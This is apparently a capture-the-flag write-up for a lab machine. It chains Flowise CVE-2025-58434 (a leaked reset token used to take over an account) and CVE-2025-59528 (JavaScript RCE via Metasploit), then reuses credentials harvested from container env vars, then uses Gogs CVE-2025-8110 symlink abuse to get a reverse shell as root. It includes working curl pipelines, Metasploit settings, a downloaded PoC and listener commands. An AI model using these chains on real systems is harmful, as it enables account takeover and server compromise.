1 RECON
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnResult:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack nginx 1.24.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 033771DFEF9C64EFA01CAF726E3629A9
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOnly SSH and HTTP are exposed.
1.2 Web Interface
The target presented as an institutional financial firm offering structured lending, private credit, and bespoke capital solutions.
OSINT against the main website revealed several user identities:

1.3 Subdomain Enumeration
Fuzz vhost with gobuster:
$ gobuster vhost -u http://silentium.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50 =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== staging.silentium.htb Status: 200 [Size: 3142] Progress: 20000 / 20000 (100.00%) =============================================================== Finished ===============================================================
The scan surfaced the virtual host staging.silentium.htb, which exposed a Flowise login entry point:

2 WEB
2.1 Flowise
Flowise is an open-source generative AI development platform for building AI agents and LLM workflows through a visual builder.

This class of modern AI backends consistently expands the attack surface, often introducing fragile authentication flows and poorly hardened API endpoints:

2.1.1 CVE-2025-58434
CVE-2025-58434 is a critical Flowise account-takeover issue affecting 3.0.5 and earlier, where the unauthenticated forgot-password endpoint returns a valid password reset tempToken.
CVE Details rates it CVSS 9.8 CRITICAL, because an attacker can request a reset token for another user and then submit it to reset-password.
2.1.1.1 Vulnerability Analysis
In Flowise [email protected], the whitelist marks both password reset endpoints as public, and the API middleware skips auth for whitelisted paths:
'/api/v1/account/forgot-password',
'/api/v1/account/reset-password',
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next()
}The account routes expose both actions directly:
router.post('/forgot-password', accountController.forgotPassword)
router.post('/reset-password', accountController.resetPassword)The forgot-password controller returns the service result as JSON:
const data = await accountService.forgotPassword(req.body)
return res.status(StatusCodes.CREATED).json(data)Inside the forgotPassword service, Flowise looks up the supplied email, creates tempToken, saves it, then returns the full data object:
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
data.user = user
data.user.tempToken = generateTempToken()
data.user.tokenExpiry = tokenExpiry
data.user = await this.userService.saveUser(data.user, queryRunner)
return dataBecause the service returns data after mutating data.user, the reset token is exposed in the HTTP response:
{
"user": {
"email": "[email protected]",
"tempToken": "<leaked-reset-token>"
}
}The resetPassword service trusts the supplied email plus tempToken pair before overwriting the password hash:
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (user.tempToken !== data.user.tempToken)
throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_TEMP_TOKEN)
data.user.credential = hashExploit logic:
leak a victim's
tempTokenfromforgot-password, then replay it toreset-passwordwith a new password.
The 3.0.6 patch changes the sensitive return value:
- return data
+ return sanitizeUser(data.user)The fix keeps reset tokens server-side and returns a sanitized user object instead.
2.1.1.2 User Enumeration
For proof of concept, I attempted a password reset against a random account via the /forgot-password endpoint:

The application returned a clear-text response "User Not Found", which acted as an oracle for username enumeration.
At this point, a dictionary-based brute force using BurpSuite Intruder would work. However, from section 1.3, we had already identified several internal users. One of them was ben, the head of financial systems:

We verified that the username existed and confirmed it was the web admin for Flowise:

Then extract the tempToken from the response, noting that it had a short expiration window controlled by the tokenExpiry property.
2.1.1.3 Password Reset
The exposed plain-text tempToken is normally delivered to the user via email and is required by the /reset-password endpoint:

Due to the short expiration window, we could chain the entire password reset flow into a single pipeline to capture and reuse the token before it expired:
host="http://staging.silentium.htb"
email="[email protected]"
pass='4xura.com/SPONSOR'
curl -s -X POST "$host/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d "{\"user\":{\"email\":\"$email\"}}" \
| jq -r '.user.tempToken' \
| xargs -I TOKEN curl -i -X POST "$host/api/v1/account/reset-password" \
-H "Content-Type: application/json" \
-d "{\"user\":{\"email\":\"$email\",\"tempToken\":\"TOKEN\",\"password\":\"$pass\"}}"This captured the leaked token and immediately replayed it against the reset endpoint before expiry.
With the password successfully reset, authenticate as [email protected] and gain access to the Flowise interface:

2.1.2 CVE-2025-59528
CVE-2025-59528 is a another critical Flowise remote code execution issue, where the CustomMCP node evaluates user-controlled configuration through JavaScript Function().
The bug runs with full Node.js privileges, making modules like child_process and fs reachable; CVE Details marks it CVSS 10.0 CRITICAL and notes the fix in 3.0.6.
2.1.2.1 Vulnerability Analysis
In Flowise [email protected], commit ba6a602cbe87d9f55c9ee6aebb6407ec2f2066b5, the main router mounts a node-load endpoint and its child router accepts dynamic node names:
router.use('/node-load-method', nodeLoadMethodRouter)
router.post(['/', '/:name'], nodesRouter.getSingleNodeAsyncOptions)The node service then resolves the node by URL name and calls the requested load method from the request body:
const nodeInstance = appServer.nodesPool.componentNodes[nodeName]
const methodName = nodeData.loadMethod || ''
await nodeInstance.loadMethods![methodName]!.call(nodeInstance, nodeData, ...)For customMCP with loadMethod=listActions, the CustomMCP node passes request data into getTools:
listActions: async (nodeData, options) => {
const toolset = await this.getTools(nodeData, options)
}Combining the dynamic route with the method dispatcher gives an attacker control over the node name, load method, and config field:
POST /api/v1/node-load-method/customMCP
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}Inside getTools, the MCP config field is read directly from nodeData.inputs:
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as stringThe parser path then tries to convert that string into valid JSON:
const substitutedString = substituteVariablesInString(mcpServerConfig, sandbox)
const serverParamsString = convertToValidJSONString(substitutedString)
serverParams = JSON.parse(serverParamsString)The vulnerable normalizer uses JavaScript evaluation as the conversion step:
function convertToValidJSONString(inputString: string) {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
}Because the normalizer concatenates inputString into a new function body, even a config-looking JavaScript expression runs before JSON.parse sees the result:
{
"command": (() => {
/* JavaScript runs here on the server */
return "node"
})(),
"args": []
}Root cause: config parsing evaluates attacker-controlled JavaScript first, then serializes the returned object as JSON; the 3.0.6 patch replaces evaluation with data parsing:
- const jsObject = Function('return ' + inputString)()
+ const jsObject = JSON5.parse(inputString)The patch removes JavaScript evaluation and parses the config as data.
2.1.2.2 Remote Code Execution
After stealilng the Ben account from section 2.1.1.3, we can exploit CVE-2025-59528 with the Metasploit module:
$ msfconsole -q [*] Starting persistent handler(s)... msf > use exploit/multi/http/flowise_js_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp [*] No encoder configured, defaulting to x64/zutto_dekiru msf exploit(multi/http/flowise_js_rce) > options Module options (exploit/multi/http/flowise_js_rce): Name Current Setting Required Description ---- --------------- -------- ----------- FLOWISE_EMAIL no Flowise email for JWT auth (required for versions >= 3.0.1) FLOWISE_PASSWORD no Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1) FLOWISE_USERNAME no Flowise username for Basic Auth (required if env var is set) Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 3000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix/Linux Command
Setup the exploit stages in MSF:
use exploit/multi/http/flowise_js_rce
set FLOWISE_EMAIL [email protected]
set FLOWISE_PASSWORD '4xura.com/SPONSOR'
set RHOSTS staging.silentium.htb
set RPORT 80
set PAYLOAD cmd/unix/reverse_netcat
set ENCODER generic/none
set LHOST tun0
set LPORT 4444
run -jThis payload returned a shell from 10.129.78.103 to 10.10.13.68:4444.
$ msfconsole -q msf > use exploit/multi/http/flowise_js_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp [*] No encoder configured, defaulting to x64/zutto_dekiru msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL [email protected] FLOWISE_EMAIL => [email protected] msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD 4xura.com/SPONSOR FLOWISE_PASSWORD => 4xura.com/SPONSOR msf exploit(multi/http/flowise_js_rce) > set RHOSTS staging.silentium.htb RHOSTS => staging.silentium.htb msf exploit(multi/http/flowise_js_rce) > set RPORT 80 RPORT => 80 msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/reverse_netcat PAYLOAD => cmd/unix/reverse_netcat msf exploit(multi/http/flowise_js_rce) > set ENCODER generic/none ENCODER => generic/none msf exploit(multi/http/flowise_js_rce) > set LHOST tun0 LHOST => tun0 msf exploit(multi/http/flowise_js_rce) > set LPORT 4444 LPORT => 4444 msf exploit(multi/http/flowise_js_rce) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf exploit(multi/http/flowise_js_rce) > [*] Started reverse TCP handler on 10.10.13.68:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Flowise version detected: 3.0.5 [+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (auth required) [+] Authentication successful [*] Command shell session 1 opened (10.10.13.68:4444 -> 10.129.78.103:40373) at 2026-04-11 21:37:31 -0700 msf exploit(multi/http/flowise_js_rce) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.13.68:4444 -> 10.129.78.103:40373 (10.129.78.103)
But the stdin seemed broken in the reverse shell, so we can either run commands with the session like:
sessions -i 1 -c idOr upgrade the session to Meterpreter via -u command:
msf exploit(multi/http/flowise_js_rce) > sessions -u 1 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1] [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.10.13.68:4433 [*] Sending stage (1062760 bytes) to 10.129.78.103 [*] Command stager progress: 100.00% (773/773 bytes) msf exploit(multi/http/flowise_js_rce) > [*] Meterpreter session 2 opened (10.10.13.68:4433 -> 10.129.78.103:36448) at 2026-04-11 21:47:49 -0700 [*] Stopping exploit/multi/handler msf exploit(multi/http/flowise_js_rce) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.13.68:4444 -> 10.129.78.103:46055 (10.129.78.103) 2 meterpreter x86/linux root @ c78c3cceb7ba 10.10.13.68:4433 -> 10.129.78.103:36448 (::1) msf exploit(multi/http/flowise_js_rce) > sessions 2 [*] Starting interaction with 2... meterpreter > getuid Server username: root meterpreter > sysinfo Computer : c78c3cceb7ba OS : (Linux 6.8.0-107-generic) Architecture : x64 BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter >
Gained web root in the docker container.
3 USER
3.1 Container Enumeration
Meterpreter reported root @ c78c3cceb7ba, indicating root access inside the Flowise Docker container, not the host.
Environment enumeration:
msf exploit(multi/http/flowise_js_rce) > sessions -i 2 -c env [*] Running 'env' on meterpreter session 2 (::1) USER=root SHLVL=1 HOME=/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin LANG=C PWD=/root/.flowise msf exploit(multi/http/flowise_js_rce) > sessions -i 1 -c env [*] Running 'env' on shell session 1 (10.129.78.103) FLOWISE_PASSWORD=F1l3_d0ck3r ALLOW_UNAUTHORIZED_CERTS=true NODE_VERSION=20.19.4 HOSTNAME=c78c3cceb7ba YARN_VERSION=1.22.22 SMTP_PORT=1025 SHLVL=3 PORT=3000 HOME=/root [email protected] PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser JWT_ISSUER=ISSUER JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD LLM_PROVIDER=nvidia-nim SMTP_USERNAME=test SMTP_SECURE=false JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200 FLOWISE_USERNAME=ben PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DATABASE_PATH=/root/.flowise JWT_TOKEN_EXPIRY_IN_MINUTES=360 JWT_AUDIENCE=AUDIENCE SECRETKEY_PATH=/root/.flowise PWD=/ SMTP_PASSWORD=r04D!!_R4ge NVIDIA_NIM_LLM_MODE=managed SMTP_HOST=mailhog JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD SMTP_USER=test msf exploit(multi/http/flowise_js_rce) >
Plain-text credentials were exposed:
- Flowise password:
F1l3_d0ck3r - SMTP password:
r04D!!_R4ge
3.2 Password Reuse
The leaked SMTP_PASSWORD mapped directly to the host account for ben:
$ ssh [email protected] [email protected]'s password: Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64) ben@silentium:~$ id uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users) ben@silentium:~$ ls -a . .. .bash_history .bash_logout .bashrc .cache .profile user.txt ben@silentium:~$ cat user.txt a******************************4
The credential pair ben:r04D!!_R4ge granted SSH access at the host level. User flag captured.
4 ROOT
4.1 Local Enumeration
ben has no sudo rights, so the next attack surface is localhost-only services:
ben@silentium:~$ sudo -l [sudo] password for ben: Sorry, user ben may not run sudo on silentium. ben@silentium:~$ netstat -lantp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:37631 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN - tcp 0 1 10.129.78.103:48594 8.8.8.8:53 SYN_SENT - tcp 0 1096 10.129.78.103:22 10.10.13.68:46408 ESTABLISHED - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
Multiple services were bound to 127.0.0.1, exposing an internal attack surface not reachable externally.
Port 3000 hosted that Flowise instance, while 3001 exposed a Gogs service:
ben@silentium:~$ curl http://127.0.0.1:3001 | head % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 80<!DOCTYPE html> 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 49<html> <head data-suburl=""> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 0 <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="author" content="Gogs" /> 8 <meta name="description" content="Gogs is a painless self-hosted Git service" /> 0 <meta name="keywords" content="go, git, self-hosted, gogs"> 4 9 0 0 1255k 0 --:--:-- --:--:-- --:--:-- 1310k curl: Failed writing body ben@silentium:~$ ps -ef | grep gogs root 1513 1 0 01:21 ? 00:00:04 /opt/gogs/gogs/gogs web ben 33420 30754 0 06:05 pts/0 00:00:00 grep --color=auto gogs
4.2 Gogs
Gogs is a lightweight self-hosted Git service written in Go, commonly used to host private repositories with SSH, HTTP, HTTPS, web UI, users, organizations, issues, pull requests, hooks, and a bundled REST API; here it runs locally as root on 127.0.0.1:3001 with version 0.13.3.
ben@silentium:~$ ls /opt -l total 8 drwx--x--x 4 root root 4096 Apr 8 09:41 containerd drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs ben@silentium:~$ /opt/gogs/gogs/gogs --help NAME: Gogs - A painless self-hosted Git service USAGE: gogs [global options] command [command options] [arguments...] VERSION: 0.13.3 COMMANDS: web Start web server serv This command should only be called by SSH shell hook Delegate commands to corresponding Git hooks cert Generate self-signed certificate admin Perform admin operations on command line import Import portable data as local Gogs data backup Backup files and database restore Restore files and database from backup help, h Shows a list of commands or help for one command GLOBAL OPTIONS: --help, -h show help --version, -v print the version
A straight forward prives vector.
4.2.1 CVE-2025-8110
CVE-2025-8110 is an authenticated Gogs RCE caused by improper symbolic-link handling in the PutContents API; Wiz Research describes it as a bypass of the older CVE-2024-55947 path-traversal fix, affecting Gogs <= 0.13.3 and fixed in 0.13.4.
Exploit logic:
create repo
->
commit symlink
->
use PutContents on symlink
->
overwrite .git/config
->
trigger sshCommandThe target ran 0.13.3, matching the vulnerable range.
4.2.1.1 Vulnerability Analysis
In the vulnerable v0.13.3 API router, authenticated repository API traffic exposes PUT /repos/:username/:reponame/contents/*:
m.Group("/contents", func() {
m.Combo("/*").Put(bind(repo.PutContentsRequest{}), repo.PutContents)
})The PutContents handler decodes attacker-controlled file content, cleans only the path string, then forwards both to UpdateRepoFile:
content, err := base64.StdEncoding.DecodeString(r.Content)
treePath := pathutil.Clean(c.Params("*"))
err = c.Repo.Repository.UpdateRepoFile(...)Inside UpdateRepoFile, Gogs joins the cleaned tree path into the local checkout and writes directly to that path:
filePath := path.Join(localPath, opts.NewTreeName)
os.WriteFile(filePath, []byte(opts.Content), 0600)The same function only checks whether the final filePath is itself a symlink in some branches, but the API call does not set IsNewFile, so that guard can be skipped:
if opts.IsNewFile {
if osutil.IsSymlink(filePath) {
return fmt.Errorf("cannot update symbolic link")
}
}The IsSymlink helper checks one path only with Lstat; it does not reject a symlink already committed into the path hierarchy:
fileInfo, err := os.Lstat(path)
return fileInfo.Mode()&os.ModeSymlink != 0So a repository file named link can point to .git/config, and the API write to contents/link follows the symlink target instead of staying inside normal repository contents.
The 0.13.4 patch fixes the root issue by rejecting updates when any path component resolves through a symlink:
if hasSymlinkInPath(localPath, opts.TreePath) {
return errors.New("cannot update file with symbolic link in path")
}Root cause: path traversal was cleaned syntactically, but symlink traversal was not resolved semantically before the API file write.
4.2.1.2 Tunneling
Before exploitation, forward the internal service to a reachable interface:
ssh -L 3001:127.0.0.1:3001 [email protected]
# r04D!!_R4geThis exposes the locally bound 3001 port, allowing direct interaction with the Gogs service.
A new account can then be registered, followed by authentication into Gogs:

4.2.1.3 PoC
A public PoC was found to exploit the CVE. Download:
wget https://raw.githubusercontent.com/zAbuQasem/gogs-CVE-2025-8110/main/CVE-2025-8110.pyHowever, it auto-registers a hardcoded user before exploitation:
username = "zAbuQasem"
password = "SuperSecurePass123!"
register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)Registration would fail on this target because Gogs enables captcha, so we use the account created through the web UI and remove the register() call:
"""
self created account
"""
username = "test"
password = "test"
# register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)
...The remaining exploit chain stayed unchanged: create repo, push symlink, overwrite .git/config, then trigger sshCommand.

Then run the tuned PoC script agains the target:
$ vim CVE-2025-8110.py $ python CVE-2025-8110.py -h usage: CVE-2025-8110.py [-h] -u URL -lh HOST -lp PORT [-x] options: -h, --help show this help message and exit -u, --url URL Gogs base URL -lh, --host HOST Attacker host -lp, --port PORT Attacker port -x, --proxy Use proxy $ python CVE-2025-8110.py -u http://127.0.0.1:3001 -lh "$attackerIp" -lp 60001 [+] Authenticated successfully Token generation status: 200 [+] Application token: 996bc4a570c316108f63f22f3790c7eaefa0deae Repo creation status: 201 Cloning into '/tmp/b30491536451'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 Unpacking objects: 100% (3/3), 248 bytes | 248.00 KiB/s, done. [master 786757d] Add malicious symlink 1 file changed, 1 insertion(+) create mode 120000 malicious_link Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 8 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 299 bytes | 299.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) To http://127.0.0.1:3001/test/b30491536451.git 6de8b4f..786757d master -> master [+] Exploit sent, check your listener!
A reverse shell then landed on the pre-staged listener:
$ rlwrap nc -lnvp 60001 Connection from 10.129.78.103:60542 bash: cannot set terminal process group (1513): Inappropriate ioctl for device bash: no job control in this shell root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# whoami whoami root root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# cat /root/root.txt cat /root/root.txt 1**********************************b
Rooted.
Comments | NOTHING